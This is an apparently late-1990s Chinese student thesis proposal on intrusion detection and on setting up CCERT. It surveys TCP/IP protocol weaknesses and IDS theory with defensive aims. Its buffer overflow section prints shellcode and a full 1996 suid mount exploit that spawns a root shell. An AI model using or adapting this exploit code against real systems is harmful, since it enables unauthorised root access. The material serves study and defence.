IDS 系统的研究与实现及 CCERT 的建立

指导老师:李星,职称:教授

学生:张千里

题目:IDS 系统的研究与实现及 CCERT 的建立

目录

第一章:入侵检测与响应的历史及意义…………………… 3

第二章:网络安全隐患……………………………………………………………… 5

1. TCP/IP协议的安全问题………………………………………………… 5

1.1 IP安全…………… ………………………………………………………………………5

1.2 TCP序列号预计…………………………………………………………………… 6

1.3 TCP/UDP应用层服务………………………………………………………… 7

2.系统安全隐患……………………………………………………………………… 10

2.1 什么是缓冲区溢出…………………………………………………………… 10

2.2 制造缓冲区溢出…………………………………………………………………11

2.3 通过缓冲区溢出获得用户SHELL ……………………………… 12

2.4 利用缓冲区溢出进行的系统攻击…………………………………13

第三章:网络安全的一般方法……………………………………………… 17

1. 网络安全工具概述…………………………………………………………… 17

1.1 认证与加密………………………………………………………………………… 17

1.2 入侵检测系统…………………………………………………………….………17

1.3 缺陷发现系统…………………………………………………………………… 18

2.入侵检测理论……………………………………………………………………… 19

3. 网络入侵……………………………………………….…………….…………………21

4. 网络入侵检测系统的实现……………………………………………22

第四章 紧急响应的理论与实务……………………………………….26

1. 为什么需要紧急响应小组…………… ………………………………26

2. CCERT 的目的和实务……………………… ………………………………27

工作计划…………………..………………………………………… ………………………………28

参考文献……………………………………………………………… ………………………………29

第一章 入侵检测与响应的历史及意义

中国教育与科研网络已经开通运行了四五年的时间,连接了四百多家高校和科研院所,近年又和中科院和CHINANET实现了互连。随着计算机互连网络规模的 不断扩大,计算机网络所面临的安全问题越来越突出,出于各种目的对网络和系统的入侵事件屡见报端,国外与国内都已经发生过。

互连网络是一个由各种平台、各种应用软件交互操作构成的一个极其负载的异构系统,没有一个完善的安全体系结构存在;各种硬件与软件平台的内部实现也存在许 许多多的安全漏洞,新的软件层出不穷,安全问题暴露的也越来越多。而且随着网络客户水平的提高,攻击网络的黑客也越来越多。

一旦接入网络,安全就不再是一个局部的问题,单靠本地管理员无法了解所有产品存在的安全隐患,当然也难以对付来自世界各地的攻击。需要需要与外部相关的安全组织相互通信与合作,才能及时发现安全隐患,有效地跟踪入侵者。

而CCERT,即中国计算机安全紧急响应小组,目的即是为中国教育科研网络范围内的网络和站点建设与管理提供与安全相关的服务;提高整个教育科研网络的抵 御攻击的能力和事故发生后的响应能力。它的实现,无疑将大大提高CERNET 乃至于中国的网络总体安全水平,减少网络被入侵的潜在风险。

入侵检测,即以检测出针对某一系统的入侵或入侵企图,并能实时反应的安全监测反应系统,它通过数据采集和分析,及时检测出目标系统中可能存在的违反安全的 活动和安全漏洞,以及防止入侵的发生,可以说,入侵检测技术是通过增大入侵难度从而间接的提高了目标系统的安全性能,自80年代起,这种技术日益受到广泛 重视,究其原因,不外手有如下几点。

1>大多数现有的流行系统架构都存在安全漏洞,对于操作系统,存在着各种的buffer-overflow及配置的缺陷,而TCP/IP本身也存在着一定的问题,而由于历史的原因及这些系统在其它方面的良好的性能,完全取代这些系统是不可能的。

2>从理论上讲,完全安全的系统架构是不存在的,也是无法建成的,即使最安全的系统,对于熟知安们的人也是无法安全的。

3>安全的系统架构的建企,不只是一个技术的问题,物理安全,用户安全等也是一些重要因素,一个很安全的系统可以仅仅由于一个选择的不好的用户口令变得极其不安全。

入侵检测的可行性,基于这样的一个假设,即,对目标系统的入侵和入侵企图的表现是与普通用户的所作所为不同的,这个假设,在绝大多数情况下是正确的,绝大多数是指入侵者入侵途径非正当时。这主要体现在如:

1)服务的扫描和认证的设法规避]

2)特洛伊木马和后门

3)服务的不正常使用和认证的非原意控制

4)合法认证信息的泄漏和不正当使用

通过十多年的发展,入侵检测理论和实践都有了长足的进展,入侵检测已开始从基于主机的发展到基于网络的,进而发展到基于广域网络的入侵检测,代表系统有 T. Lunt的IDES,Tracer公司开发的Haystack, Lawrence Livermore实验室开发的NSM原型,及ISS公司的Rear Secure等这些系统基本模型和实现方法虽然有所不同,但最基本的原理,都是基于对入侵方法的分析及对数据特征的提取和分析。在以后章节中我们将分别介 绍这两点。

第二章:网络安全隐患

§1 TCP/IP协议的安全问题

如今广泛应用的TCP/IP协议,存在着一系列的安全缺陷,这些缺陷,是所有TCP/IP的实现系统所具有的,以下我们将讨论这些安全隐患并提出相应解决方法。

1.1 IP安全

1.1.1 源路由选项的使用

在IP包头中的源路由选项用于该IP包的路由情况,这样,一个IP包可以按照预选指定的路由到达目的主机,现在,假设目的主机使用该源路由的逆向路由与源 主机通讯,这样的处理是相当合乎情理的,因为在一般情况下,一端使用源路由选项常常表示这一端有充足理由(如拥塞避免,故障路由的回避,以及效率方面的考 虑)认定源路由有更好的表现。

但这样也给入侵者创造了良机,当一个入侵者预先知道某一主机有一信任主机时,即可利用源路由选项伪装成受信主机,从而侵入系统,这相当于使主机可能遭到来自所有其它主机的入侵。

解决方法:这种攻击很难避免,在网关上禁止源路的包通过是一种简单的防治方法,但这种方法对于来自同一子网内机器的攻击束手无策,而且这种方法完全禁止了 源路由选项,未免不尽情理,理论上可以让每一主机得知路由状况以智能判断源路由选项是否合法,然而,这在实际中是不可能做到的。也许最好的防治方法是完全 避免基于IP地址的认证方式,即R 协议。X协议等。

1.1.2伪造ARP包

伪造ARP包是一种很复杂的技术,涉及到TCP/IP协议及以太网特性的很多方面, 在此归入ARP的安全问题不是很合适。伪造ARP包的主要过程是,以目的主机的IP地址和以太网地址为源地址发—ARP包,这样即可造成另一种IP spoof。

这种攻击主要见于交换式以太网中,在交换式以太网中, 交换集线器在收到的每一ARP包时更新Cache。不停发spoof ARP包可使送往目的主机的包均送到入侵者处,这样,交换式以太网也可被监听。

当然,当ARP包从一主机发出时,目的主机会出现异常反应,这样, 会使目的主机警觉,但是,恰当的选择ARP包发出频率,由于TCP有重发机制的保护,可以使同一IP 以太网地址的使用呈现分时特征,并均可以正常运行。

解决方法:将交换集线器设为静态配置。另一可行的方法也许是当发现主机运行不正常时(网速慢,IP包丢失较高),反应给网络管理员。

1.1.3 RIP的攻击

RIP主要用于传播路由信息。 值得注意的是,接收方并不检查这一信息。一个入侵者有可能发出伪造的路由信息,给目的主机甚至沿途的各网关。这样,如果入侵者宣布经过自己的一条通向目的 主机的路由,将导致所有发往目的主机的数据包发往入侵者。这样,入侵者可以冒充是目的主机,也可以监听所有目的主机的数据包,甚至在数据流中插入任意的 包。

解决方法,对路由的改变信息是值得注意的。一个聪明的网关可以有效摈弃任何明显 错误的路由信息。RIP的认证,加密也是一种较好的方法。

1.1.4 ICMP攻击

ICMP的重定向消息, 用于网关向主机建议另一条路由。因此,这一消息可被类似RIP那样攻击。但相比较而言,ICMP重定向消息的限制要多一些。例如,ICMP只能在当目的主 机发出数据包后才能被动发出,它不能用于随时改变目的主机的路由表。ICMP重定向信息一般也只是第一个驿站(网关)才可以发出。以后的网关中既不能发改 变源机的路由,也不可以改变以前网关的路由表。

现在假设入侵者已进入目的主机网络中的备用网关, 首先,入侵者伪装为另一主机T向目的主机发出连接请求,目的主机确认连接时,入侵者将发出一个假的ICMP包,以主要网关的身份指出去主机T须由入侵者中 转。这样,入侵者可以对这一连接的数据流进行监听或任意修改。如果目的主机收到ICMP重定向消息后不只对这一连接的路由表做修改,而且对全局的路由表做 修改,那么所影响的将是整个目的主机。

解决方法:既然ICMP重定向消息只用于局域网中有多个网关的情形,而且只能是由局域网网关才能发出,因此,在绝大多数情形中,简单的忽略这一消息并不会 带来很大麻烦。对于确有必要的场合,仔细的认证是保证ICMP重定向消息安全性的有力武器。收到ICMP 重定向信息后只对该连接的路由进行修改是一种可以普及的较为审慎的处理方法。

1.2 TCP序列号预计

在Morris的《A Weakness in the 4.2BSD UNIX TCP/IP Software》论文中,一种基于序列号的攻击技术被提出。这种攻击的实质,是在不能接到目的主机应答确认包时通过预计序列号来建立连接。这样,入侵者 可以伪装成信任主机与目的主机通话。

正常的TCP连接建立过程是一个三次握手的过程, 客户方取一初始序列号ISNC并发出第一个SYN包,服务方确认这一包并设自己一方的初始序列号为ISNS,客户方确认后这一连接即建立。

假设,入侵者通过某种方法得到了服务方的初始序列号ISNS,那么,它有可能冒充为另一主机对目的主机进行攻击。具体步骤如下:(以下假设目的主机为A,入侵者为B,被冒充主机为C)。

1) B向C发大量SYN包。执行这一步是因为,当A接到声称来自C的连接请求时,A将向C发出确认包。由于C发现这是一个不存在的连接,它将发送一RST包以 阻止连接的建立。为此,B伪装成C时,源端口应设为一个一般来说是开着的端口,利用TCP将抛弃多于5个连续的SYN包这一点,对C进行拒觉服务类型的攻 击。

2) 发送一伪造的包向A,该包中,源地址为C,源端口为C上被攻击的端口。

3) 发送一伪造的包向A,该包中,不仅源地址和源端口被设为C,而且ACK域置位,ACK号为ISNS。并传送定量数据。

这样一个连接即被建立,如果C被A的某种服务所信任,A即被入侵。

在这种入侵方法中,ISNS的预测是一个核心问题,与各个操作系统的实现有关。现在有很多探讨这些脆弱点的文章,这里就不详细论述了。

解决方法:审慎于针对主机受权的服务。这种授权是存在着相当多的隐患。另外,采用加密也是一种好的解决方法。

1.3 TCP/UDP应用层服务。

1.3.1 finger的信息暴露

在所有有暴露信息危险的服务中,finger又是最危险的。这是因为:

1) finger没有任何认证机制。任何人都可利用finger来获得目的主机的有关信息。

2) finger所提供的住处包括用户名,用户来自于何处等信息, 这些信息可以用于口令的猜测攻击,以及信任主机被假冒的攻击,具有很大的潜在危险。

3)finger没有认证, 这使得无法辩别一个主机是否在基于“正当的”目换使用finger这使你即使被攻击,也无法辩明finger在其中起了多大作用。

解决方法,关掉finger服务,如果有充分理由打开finger服务的话,不妨将finger设为:

/bin/cat /etc/something

1.3.2 ftp的信息暴露

ftp协议本身并无安全问题,但几乎所有的实现都有在如下问题:

1)ftp一般用户的口令与登录口令相同,而且采用明文传输,就增加了一个网点被攻破的危险。只要在局域网内或路由上进行监听,就可获取大量口令。这样,一个网点会很容易被攻击。

2) 一些网点上的匿名ftp提供了另一攻击途径。尤其是可以上载的ftp服务, 更为危险,这常常会使入侵者放置,散播特洛伊木马的工作更轻易。入侵者可以放一个已改动过的,带有恶意代码的软件。当另一个主机上的用户下载安装软件时, 后门即可建立。匿名ftp还有一个危险即可能暴露帐号和口令信息。由于匿名ftp也无法记录,使得基于ftp的攻击更为隐敝。

解决方法:已经开始有网点尝试使用一次性口令。这使得基于 1)的攻击变得困难。当然,采用加密技术也是一个好办法。

对于服务器来说,基于2)的攻击是难以预防的。也许可以要求每一上载软件都必须提供上载人的认证信息(如E-mail 地址)并进行确认,但这种方法显然不大方便。另外,各软件生产者都应在所生产的软件中含数据鉴名,也是一个办法。最后,安装软件者应当充分注意并了解所装 软件,也是必须的。

1.3.3 telnet的安全问题

telnet本身也并没有安全问题。它的安全隐患类似ftp的1)。只不过要更严重一些。由于telnet是用明文传输的,因此不仅是用户口令,而且用户 的所有操作及其回答,都将是透明的。这样,telnet被监听后,影响范围更大,程度更严重。telnet的另一个问题,是它有可能被入侵者加入任意可能 的数据包。

解决方法:在必须开放telnet的服务器上加入地址认证可以解决一部分问题。更好的办法是采用加密技术。尽量使用户本地工作也是一个好的作风。

1.3.4 P0P3的安全问题

由于P0P3的口令与帐号的口令相同,在此它存在着类似ftp 1) 的问题, 解决方法也是类似的。

1.3.5 tftp/bootp的安全问题

tftp允许不经认证即能读主机的那些被设置成所有人可读的文件。这将使系统可能暴露帐号,工作目录等重要信息。一些tftp允许不经认证上载文件到所有人可写的目录,这将使这一服务更为危险。

Bootp协议允许无盘工作站从网上启动。如果入侵者伪装或bootp服务器,那么无盘工作站就会运行一个被改动过的内核。这将产生不可预料的后果。如果 Bootp使用 RARP取得IP地址,将使这一服务更加脆弱。因为以太网是不提供任何安全保障的。跨网段的bootp将更危险。

解决方法:因为tftp正常情况下应用很少,所以简单地禁止它是最安全的。不然,最好使tftp服务进程有一受限的环境。

对于Bootp服务,认证应当是一种简便的解决方法。另外, 谨慎的对待无盘机的启动也是必须的。

1.3.6 DNS安全问题

DNS服务提供了解析域名等多种服务。它存在着多种安全隐患。

首先,一个入侵者可以进行域名的假冒性攻击。对于R类(rlogin, rexec)服务,当入侵者发起连接时,目的主机首先检查信任主机名或地址列表。如果这其中有一项为域名,则目的主机将可能利用DNS服务器解析域名。假 设入侵者在此时假冒为域名服务器给一个回答,则可以使目的主机认为入侵者即是信任主机,对于这类攻击,UDP源端口号和DNS序号应当设法知道,DNS序 号一般初始为0,而UDP源端口号则可以用netstat服务或一些UDP端口扫描等工具获得。

其次,入侵者可以伪装为域名服务器应答,从而使入侵者可以监听所有的连接,当然,这需要入侵者能取得所有查询请求报文。

第三,DNS的一些服务本身也是极其危险的一个zone tranfer (AXFR)请求可以用来取得数据库的完整的一部分,不断使用这一请求,就会得到网络主机的一个详细列表,这样的信息是很危险的,因为入侵者可以发现主机 为何种操作系统,或者主机可能会有那些信任主机。

解决方法:DNS的认证是一个解决办法。它可以有效防止第一类和第三类攻击, 对于第二类攻击,也许让DNS服务器本身处于一个安全的系统和子网是一个好的解决方法。

§1.3.7 RPC,rusers, rstatd,安全问题

RPC,即远程过程调用,是sun公司提出并初广泛应用的分布式运算协议,这一协议的几乎所有实现中,几乎都缺省有ruserd和rstatd服务。 ruserd用于列出系统上的所有活动用户,而rstatd用于报告当前系统的一些运行情况,由于这两个服务都没有认证需要,因此它们可能会暴露一些系统 的安全信息。

解决方法:ruser服务类似finger服务,因此一般来说,这一服务并无必要存在,rstatd一般也无必要打开。

§1.3.8 rlogin, rexec等服务的安全问题

Rlogin, rexec的安全隐患已在前述各节有所论述,它们的主要问题是:

1)信息暴露,类似telnet的安全问题

2)信任主机被冒充,包括IP地址冒充和主机名冒充两种情况,具体细节请参考以上各节。Rlogin rexec 服务比telnet来说没有增加新的内容,虽然略为方便,但却使系统存在着严重的安全隐患,使系统不易管理和控制,因此,建议可取消这两个服务。

§1.3.9 X协议的安全问题

X协议是用于图形界面描述和显示的基于TCP的协议,X 使图形界面的异地显示成为可能,从而大大方便了Unix的使用。

X协议的安全问题主要在于,X是基于信任主机方式工作的,目前几乎所有的实现中,X 事件的取得资格一般依赖于IP地址,这样,所有的IP冒充都可以用于攻击X服务。

X事件的读取主要对系统的安全造成如下危胁。

1)可以得到X服务器主机上键盘的所有输入。

2)可以得到X服务器主机上的所有图形界面的情况。

3)可以控制X服务器主机上的所有以图形界面运行的程序。

由此可见,X对于系统的安全性有很大的危胁。

解决方法,采用基于用户的X权限限制可以减少这类攻击,但并不能根本杜绝这类攻击, 更好的办法应是采用加密技术。

§2系统安全隐患-操作系统缺陷-buffer overflow机理分析

2.1.什么是缓冲区溢出?

buffer overflow,buffer overrun,smash the stack,trash the stack,scribble the stack, mangle the stack,spam,alias bug,fandango on core, memory leak,precedence lossage,overrun screw…指的是一种系统攻击的手段,通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其它指令,以 达到攻击的目的。据统计,通过缓冲区溢出进行的攻击占所有系统攻击总数的80%以上。

造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。例如下面程序:

example1.c

void function(char *str) {

char buffer[16];

strcpy(buffer,str);

}

———————————————————–

上面的strcpy()将直接吧str中的内容copy到buffer中。这样只要str的长度大于16,就会造成buffer的溢出,使程序运行出错。 存在象strcpy这样的问题的标准函数还有strcat(),sprintf(),vsprintf(),gets(),scanf(),以及在循环内 的

getc(),fgetc(),getchar()等。当然,随便往缓冲区中填东西造成它溢出一般只会出现Segmentation fault 错误,而不能达到攻击的目的。最常见的手段是通过制造缓冲区溢出使程序运行一个用户shell,再通过shell执行其它命令。如果该程序属于root且 有suid权限的话,攻击者就获得了一个有root权限的shell,可以对系统进行任意操作了。

请注意,如果没有特别说明,下面的内容都假设用户使用的平台为基于Intel x86 CPU的Linux系统。对其它平台来说,本文的概念同样适用,但程序要做相应修改。

2.2.制造缓冲区溢出

一个程序在内存中通常分为程序段,数据端和堆栈三部分。程序段里放着程序的机器码和只读数据。数据段放的是程序中的静态数据。动态数据则通过堆栈来存放。在内存中,它们的位置是:

+——————+ 内存低端

| 程序段 |

|—————–|

| 数据段 |

|—————–|

| 堆栈 |

+——————+ 内存高端

当程序中发生函数调用时,计算机做如下操作:首先把参数压入堆栈;然后保存指令寄存器(IP)中的内容做为返回地址(RET);第三个放入堆栈的是基址寄 存器(FP);然后把当前的栈指针(SP)拷贝到FP,做为新的基地址;最后为本地变量留出一定空间,把SP减去适当的数值。以下面程序为例:

example2.c

void function(char *str) {

char buffer[16];

strcpy(buffer,str);

}

void main() {

char large_string[256];

int i;

for( i = 0; i < 255; i++)

large_string[i] = ‘A’;

function(large_string);

}

————————————————————

当调用函数function()时,堆栈如下:

低内存端 buffer sfp ret *str 高内存端

<—— [ ][ ][ ][ ]

栈顶 栈底

不用说,程序执行的结果是”Segmentation fault (core dumped)”或类似的出错信息。因为从buffer开始的256个字节都将被*str的内容’A’覆盖,包括sfp, ret,甚至*str。’A’的十六进值为0x41,所以函数的返回地址变成了0x41414141, 这超出了程序的地址空间,所以出现段错误。

2.3.通过缓冲区溢出获得用户SHELL

如果在溢出的缓冲区中写入我们想执行的代码,再覆盖返回地址(ret)的内

容,使它指向缓冲区的开头,就可以达到运行其它指令的目的。

低内存端 buffer sfp ret *str 高内存端

<—— [ ][ ][ ][ ]

栈顶 ^ 栈底

|________________________|

通常,我们想运行的是一个用户shell。下面是一段写得很漂亮的shell代码

example3.c

void main() {

__asm__(”

jmp 0x1f # 2 bytes

popl %esi # 1 byte

movl %esi,0x8(%esi) # 3 bytes

xorl %eax,%eax # 2 bytes

movb %eax,0x7(%esi) # 3 bytes

movl %eax,0xc(%esi) # 3 bytes

movb $0xb,%al # 2 bytes

movl %esi,%ebx # 2 bytes

leal 0x8(%esi),%ecx # 3 bytes

leal 0xc(%esi),%edx # 3 bytes

int $0x80 # 2 bytes

xorl %ebx,%ebx # 2 bytes

movl %ebx,%eax # 2 bytes

inc %eax # 1 bytes

int $0x80 # 2 bytes

call -0x24 # 5 bytes

.string \”/bin/sh\” # 8 bytes

# 46 bytes total

“);

}

将上面的程序用机器码表示即可得到下面的十六进制shell代码字符串。

example4.c

char shellcode[] =

“\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b”

“\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd”

“\x80\xe8\xdc\xff\xff\xff/bin/sh”;

char large_string[128];

void main() {

char buffer[96];

int i;

long *long_ptr = (long *) large_string;

for (i = 0; i < 32; i++)

*(long_ptr + i) = (int) buffer;

for (i = 0; i < strlen(shellcode); i++)

large_string[i] = shellcode[i];

strcpy(buffer,large_string);

}

这个程序所做的是,在large_string中填入buffer的地址,并把shell代码放到large_string的前面部分。然后将 large_string拷贝到buffer中,造成它溢出,使返回地址变为buffer,而buffer的内容为shell代码。这样当程序试从 strcpy()中返回时,就会转而执行shell。

2.4.利用缓冲区溢出进行的系统攻击

如果已知某个程序有缓冲区溢出的缺陷,如何知道缓冲区的地址,在那儿放入shell代码呢?由于每个程序的堆栈起始地址是固定的,所以理论上可以通过反复 重试缓冲区相对于堆栈起始位置的距离来得到。但这样的盲目猜测可能要进行数百上千次,实际上是不现实的。解决的办法是利用空指令NOP。在shell代码 前面放一长串的NOP,返回地址可以指向这一串NOP中任一位置,执行完NOP指令后程序将激活shell进程。这样就大大增加了猜中的可能性。

低内存端 buffer sfp ret *str 高内存端

<—— [NNNNNNNNNNNNSSSSSSSSSSS][ ][ ][ ]

栈顶 ^ 栈底

|______________________|

图中,N代表NOP,S代表shell。下面是一个缓冲区溢出攻击的实例,它利用 了系统程序mount的漏洞。

程序中get_esp()函数的作用就是定位堆栈位置。程序首先分配一块暂存区buff,然后在buff的前面部分填满NOP,后面部分放shell代 码。最后部分是希望程序返回的地址,由栈地址加偏移得到。当以buff为参数调用mount时,将造成mount程序的堆栈溢出,其缓冲区被buff覆 盖,而返回地址将指向NOP指令。由于mount程序的属主是root且有suid位,普通用户运行上面程序的结果将获得一个具有root权限的 shell。

example5.c

/* Mount Exploit for Linux, Jul 30 1996

Discovered and Coded by Bloodmask & Vio

Covin Security 1996

*/

#include

#include

#include

#include

#include

#define PATH_MOUNT “/bin/umount”

#define BUFFER_SIZE 1024

#define DEFAULT_OFFSET 50

u_long get_esp()

{

__asm__(“movl %esp, %eax”);

}

main(int argc, char **argv)

{

u_char execshell[] =

“\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f”

“\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd”

“\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh”;

char *buff = NULL;

unsigned long *addr_ptr = NULL;

char *ptr = NULL;

int i;

int ofs = DEFAULT_OFFSET;

buff = malloc(4096);

if(!buff)

{

printf(“can’t allocate memory\n”);

exit(0);

}

ptr = buff;

/* fill start of buffer with nops */

memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));

ptr += BUFFER_SIZE-strlen(execshell);

/* stick asm code into the buffer */

for(i=0;i < strlen(execshell);i++)

*(ptr++) = execshell[i];

addr_ptr = (long *)ptr;

for(i=0;i < (8/4);i++)

*(addr_ptr++) = get_esp() + ofs;

ptr = (char *)addr_ptr;

*ptr = 0;

(void)alarm((u_int)0);

printf(“Discovered and Coded by Bloodmask and Vio, Covin 1996\n”);

execl(PATH_MOUNT, “mount”, buff, NULL);

}
第二章: 网络安全工具及IDS系统

§1网络安全工具概述

1.1认证与加密

很多网络安全隐患来自于基于IP地址的认证方法,由于今天IP假冒技术已广泛流传,这种认证已失去了原有的意义。

基于加密认证的技术正在开始使用,其中最有名的恐怕是Needham-Schroeder算法, 在这种算法中,每一主机都与认证服务器有一密钥,发起连接的主机从目的主机得到一个会话密钥,然后将加过密的数据送往目的方,显然,这种方法可以有效地代 替源IP地址认证的方法,大大的减少了被攻击的可能。

从TCP/IP协议来看,如果将DNS服务器设为认证服务器,这一算法可以广泛推广, 当然,密钥的分配应当采用加密的方式来进行,以免被监听。

在这一实现中,认证服务器的安全是至关重要的,如果认证服务器被侵入,那么所有机器都将是不安全的,确保服务器有最少必需服务应是很重要的。

数据完整性指的是数据完整,正确,且设有被改动过,对于系统来说,数据完整性检验是检查系统是否被入侵的有效手段,这方面常用的方法是计算文件的校验值,将其与以往所得比较,不同则说明该文件已被改动过。

在Unix系统中,一般提供了-sum命令,用于求一个文件的字节相加之和。这即是一个简单的校验值,这类校验值计算简单,这决定了它们极易失效,只要入侵者设法加入一些字节即可达到目的。

CRC校验值,是一种更复杂的校验算法,当然在实现时要更复杂,不过,CRC也是可被伪造的。

加密校验值,采用了一种新的算法,它将文件分成若干块, 计算每一块的CRC校验值,然后相加,采用适当的算法,可以使这种校验值无法伪造,从而达到有效地判断数据完整与否,当然,这种算法计算复杂度很大,速度也要慢一些。

另外一种算法,即控制检测码,也可用于单一的确认文件,它的主要原理是使每一个输入文件都有唯一的输出,且不同输入文件所对应的输出均不相同,这种校验码已得到广泛使用

1.2入侵检测系统

入侵检测系统(IDS)用于发现针对系统或网络正在进行的检测系统, 随着网络安全的不断发展,各种入侵手段的出现,使得仅依靠对系统的配置来防止入侵发生变得很不够了,这样,IDS随之而出,一个IDS系统包括数据的采 集,数据的分析,结论的形成与处理三个部分,现今的发展趋势,已是基于网络流量的监听,数据包的分析和人工智能的应用,以及有效处理的一个过程,这其中, 数据包的分析又是取为困难的。

一个IDS的简单系统仅能针对预先定义的各种入侵来检测, 它只能简单的检测出已有入侵手段的使用,这显然是不够的,IDS的专家系统不仅应能对现有入侵方法察觉,而且应当能对可能是新的入侵方法发出警报,所以, 数据包的分析和特征提取以及人工智能的运用是其中核心的一步,而IDS专家系统的有效性也直接取决于这一步的工作, 这也是一个难度很大的问题,现今尚无一种较好的公认的解决方法。

更深层次的数据包分析系统应是具有自适应特征的系统,它能够根据网络流量学习正常的数据特征,并据此判断一个具有特殊特征的数据包为可能的入侵,并通过反馈更正规则,这是一个更为复杂的人工智能系统。

现在有关IDS的研究正在不断深入之中。

1.3.缺陷发现系统

一个缺陷发现系统应当对系统或网络扫描以发现危险配置并对此提出警报。一般来说,可以将这一系统视为一个自动的入侵者,它将报告可能的入侵途径,这方面比较有名的是Cops和Satan。

Cops是一个基于系统的缺陷发现系统。它查找并报告系统管理员各种危险的配置。例如:

1) /dev/kmem的读写权陷

2) 重要文件或目录的读写权限

3) 容易被猜出的用户口令

4) 口令文件的奇怪设置

5) .cshrc, .login, .profile, .rhosts等文件的内容

6) 在/ete/rc 下的文件及cron文件的内容

7) 可以智能检测系统是否已被侵入

8) 检查所有Suid程序

它能提够一个详尽的报告

Satan是一个基于网络的缺陷发现系统。它能提供大量有关网络脆弱点的信息。 因此这一软件既是安全方面的有力工具。也是破坏网络安全的得力武器。它是如此著名以至于CERT专为它发布了一个CA。Satan主要检查TCP/IP协 议的安全隐患。对于各特定操作系统的缺陷,则基本不作报告。

§2 入侵检测理论

在1987年的Denning D.E的《An Intrusion Detectlon Model》中,Denning. D. E.提供了一个独立于任何特定系统的入侵检测模型。

这个模型有六个主要的组成部分:

1)主体:即目的系统所有活动的发起者,对于一个操作系统来说,典型的发起者为用户,也可以是一个用户进程,甚至可以使系统本身,对于一个网络来说,典型的发起者则是一个IP主机,或是一个网络操作。主体可以被分为不同的类。

2)对象,即目的系统所支配的资源,它是主体所操作的对象、对于操作系统来说,典型的客体是文件,记录,终端等,对于网络则典型的客体是数据包的内容,客体也可以分类,对客体的分类是入侵检测系统研究的一个重要方向。

3)审计计录,当主体试图执行或执行一定的操作于客体时,审计计录将产生从便日后的分析,对于操作系统,syslog机制实现了绝大多数的日志功能,对于网络则不然,数据包特征的提取和分类也将由入侵检测系统完成

4)模式、模式是用于描述主体对于客体操作的结构,它可以使基于统计模型的,也可以是基于先验规则的,以下首先介绍基于统计模型的模式。

对于基于统计的模式,有以下三种对于目的系统的数学描述是可以使用的,即:

a.某一事件发生的次数,对于任何目的系统不同的操作事件在安全上的意义是不同的,有些事件发生的次数及分布本身就表明了系统安全有可能遭到破坏,典型的例子如多次的登录失败,连续的端口连接等。

b.相关事件间的时间间隔与次序,一些事件本身不是以说明系统的安全正遭到危胁,但相关事件在很短的时间间隔内连续发生,则往往表示异常的发生,如利用 finger得到目的系统中的用户名后,再试探可否通过rlogin服务进入,时间间隔也可以用来指示异常的发生,如两次成功的登录的相隔时间。

c.资源使用量度,过多的使用资源往往指示着异常的发生,对于操作系统来说,典型的量度如用户进程CPL的占用率,硬盘空间的占用率等,对于网络,流量的占用则是这类的典型度量。

在取得了几个量度x1,x2…xn后,统计模型的目的在于预测Xn+1是否异常,这可以通过如下的方法完成。

a操作的次数及频率,这一方法用于当某种事件多次发生,即指示一定的异常发生的情况

b平均偏移量。对于X1,X2,…Xn,有

sum = x1+x2+…..+xn;

sumsqures = x12+x22+…..xn2;

mean = sum/n;

stdev = sqrt(sumsqures/(n-1) – mean2);

则,Xn+1如果在mean±d´stdev之外,则可以认为Xn+1为异常,根据 Chebyshev不等式,Xn+1在mean±d´stdev之外的概率小于1/d2,只要d足够大,则此值可以足够的小。

这一模型与a相比,有很多优点,首先它不需要先验知识以定门限,可以自己从采集到的数据中得出这一值,其次,这一模型清楚地体现了IDS的基本假设,即小概率事件的发生即指示异常情况的发生。

这一模型还可以进一步深化,考虑采集值的时间因素,可以对采集值加权;有时利用多个度量可以更好的定义的异常的发生,则可以使用多变量模型。

c.马尔可夫过程模型,这一模型只适用于a类度量,即将每一类事件视为状态,利用状态转移矩阵来描述状态间的转称概率,如果根据上一状态及转移概率得出的处于本状态的概率过低,则可以说明异常的发生,这一模型可以用于描述重要操作间的相互联系所指示的异常。

d.时间系列模型这一模型考虑了事件或资源使用间的次序和相隔时间,如果在一定时刻某种事件的发生概率极小,则可认为这指标着异常的发生,这一模型的优点在于充分考虑了时间间隔在异常检测中的重要意义,缺点则在于这种模型极其复杂。

对于基于规则的模式,关键在于规则的描述和制定,规则的制定需要一定的先验知识,这往往是有经验的安全考家的经验,对于规则的描述,简单的对单个认证记录 的分析是一种途径,近年来,对于基于主机的入侵检测系统,一些更好的方法正在得到应用,例如在Koral Ilgun, Richard A. Kemmerer 和Phillip A. Porras的《state Transition, Analysis; A Rule-Based Intrusion Detection Approach》中,一种基于状态转移的规则描述得到了应用,它可以更充分的描述一些复杂的入侵方法,基于规则的入侵检测系统,当发现符合规则描述的记 录出现时,系统即认为有入侵发现,基于规则的模式,避免了统计模式的常发的误警现象,能更精确的确定入侵的发生,但这种模式的缺点则在于不能发现正常操作 的异常使用,而规则的制定既需要先验知识,又需要不断修改,增加了系统维护的工作量。

5)异常记录,当异常行为发生时产生,在实现时,也可以定期汇总产生。

6)反应措施,即异常行为发生时所采取的行动,不同的反应措施分别适合于不同的需要和环境可以采取的措施包括记录,禁止该主体的本次会话,给该主体发一封警告等等,不同的反应措施应当在制定模式时即考虑到。

以上即是入即入侵检测理论的一些基本要点,由于我们将以设计一个基于网络的入侵检测系统为目的,以下将侧重讨论网络入侵理论及基于网络的入侵检测系统。

§3 网络入侵

入侵,即入侵者通过非法行为取得了更大的特权,从这个意义来说,基于网络的入侵范围是很广的,但在本文中,所指的网络入侵范围是很广的,但在本文中,所指的网络入侵只是满足如下条件的入侵。

1)入侵者在被侵入系统中设有一般权限,如果入侵者在被侵入系统中本已有一般权限,通过一定的非法活动取得了特殊权限,则不存讨论之列。]

2)入侵方法中涉及网络的异常使用,如果入侵者只是从其它渠道得知一个合法用户的口令,并利用此攻入目的系统,且没有网络的异常使用,(如源地址是信任主机地址),则也不在讨论之列。

